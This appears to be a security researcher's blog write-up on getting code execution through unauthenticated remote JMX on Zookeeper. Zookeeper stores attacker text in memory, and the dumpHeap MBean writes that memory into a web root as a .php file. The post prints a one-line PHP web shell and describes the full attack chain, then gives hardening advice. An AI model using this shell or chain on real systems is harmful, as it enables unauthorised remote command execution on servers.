During my recent research on Distributed systems being deployed in modern applications,
There has been some great and awesome work done regarding JMX exploitation, you could find the resources here.
What is JMX and Mbeans and how do they work ?
Java Management Extensions (JMX) was introduced in J2SE 5.0 release. It provides an architecture to manage resources dynamically at runtime. JMX is used mostly in enterprise applications to make the system configurable or to get the state of application at any point of time. (As per http://www.journaldev.com/1352/what-is-jmx-mbean-jconsole-tutorial)
JMX has an important component which is the MBeans.
An MBean is a managed Java object, similar to a JavaBeans component, that follows the design patterns set forth in the JMX specification. An MBean can represent a device, an application, or any resource that needs to be managed. MBeans expose a management interface that consists of the following:
- A set of readable or writable attributes, or both.
- A set of invokable operations.
- A self-description.
The Exploiting JMX RMI blogpost (refer the link above) relies on creating an Mlet server and then serving the mbean,registering it and then executing commands.
What do we do if you do not have permissions to create a new Mbean .We will be targeting points 1 & 2 in the Mbeans definition for pentesting and exploiting Mbeans as we proceed down.Also we assume here the instance's are not password protected.The purpose could be useful to you during a internal/external pentest
You can connect to JMX using JConsole.
Pentesting JMXSo during the research i came across using Zookeeper.Zookeeper runs JMX by default.
Zookeeper is a in-memory datastore, one of the main functionality of zookeeper is to handle distributed configuration managements.
You can download the latest instance for zookeeper over here: https://zookeeper.apache.org/releases.html.
Zookeeper by default runs,JMX on local but for the pentest i had seen that the remote port is enabled on 8007, so i emulated the setup on my mac.I quickly fired up JConsole to see anything interesting.
Pretty much no functionality has been exposed, but i had surprise, the default JMX exposes com.sun.management.DiagnosticCommand in some cases it is under com.sun.management.HotSpotDiagnostic Mbeans, which has dumpHeap
Now looking into DumpHeap Documentation
dumpHeapNow dumpheap seems promising so i invoked the operation with the name of the dump being dump.
void dumpHeap(String outputFile, boolean live) throws IOException
Dumps the heap to the outputFile file in the same format as the hprof heap dump. If this method is called remotely from another process, the heap dump output is written to a file named outputFile on the machine where the target VM is running. If outputFile is a relative path, it is relative to the working directory where the target VM was started.
Parameters: outputFile - the system-dependent filename live - if true dump only live objects i.e. objects that are reachable from others Throws: IOException - if the outputFile cannot be created, opened, or written to. UnsupportedOperationException - if this operation is not supported. NullPointerException - if outputFile is null. SecurityException - If a security manager exists and its SecurityManager.checkWrite(java.lang.String) method denies write access to the named file or the caller does not have ManagmentPermission("control").
DumpHeap had dumped the file where i had launched the zookeeper from.Doing a strings on dump, we could see some of the commands as well as parameters which was in memory being dumped, along with "dumpAllThreads" , which is again another functionality within JMX of another Mbean.
The blogpost by NCC discussed on how they used rotate Log, but the functionality is only applicable to JBoss, dumpHeap since being default operation for JMX would allow any instance running JMX openly vulnerable.
Now the fun part was we could specify the location for the dump and it would happily go anywhere and dump the file: " /tmp/dump"
Getting Your Data in the DumpHeapThere are multiple ways to get your data in the dumpHeap, since i was testing zookeeper, i decided probably zookeeper could be the key since it is a in-memory datastore.
Connecting to zookeeper, using the zkCli.
Now time for some Zookeeper basics.It pretty easy and self explanatory
- create Nodename "value" : Would create a new node with the corresponding value
- set /Nodename "value": Would change and set the value of the node
- get /Nodename : Would get the value of the node.
Now lets try dumping the Heap.
If you could grep for our created node, you could see the node as well as the value.Now keeping these concepts in mind.
Achieving Remote Code ExecutionSo now we need something, so that we could execute our code.I found that the host was running a Apache Server with PHP 5.5 on it.
Time to go deeper.
Now since we have to invoke the php shell, we need some php code in the file.
Now the available things in hand are:
- You could dump the heap to the location you want.
- We could write values to memory using zookeeper.
<?php echo shell_exec($_GET['e']); ?>
Of course you could use a jsp shell if it's a tomcat or depending up what you require you could write it to memory and then execute it.
And now we dump the file to the web server location, since the pentest was on a linux box we could dump it to the /var/www/, since emulating in Mac it was /Library/WebServer/Documents.The name of the dump should obviously be a .php extension over here. (filename was /Library/WebServer/Documents/pocs.php)
Now the moment of truth, checking whether we have code execution, we run our nc to listen on port 8081
ClosingThere are multiple ways you could write the values to the memory, and if you leave your jmx open remotely, then exploiting it and gaining access wouldn't be a tough job.
- DumpHeap should actually limit the path to which it could dump to , a more serious approach would be dump to only where the dumpHeap is called from.
- The dump obviously had issues since the php script , will be invoked after a lot of garbage, hence it was stable to send particular commands you would want to execute.
- On securing JMX:Like previously discussed in other blogposts, you could enable your authentication by specifying "-Dcom.sun.management.jmxremote.authenticate=true" and specifying the password as well as the access list.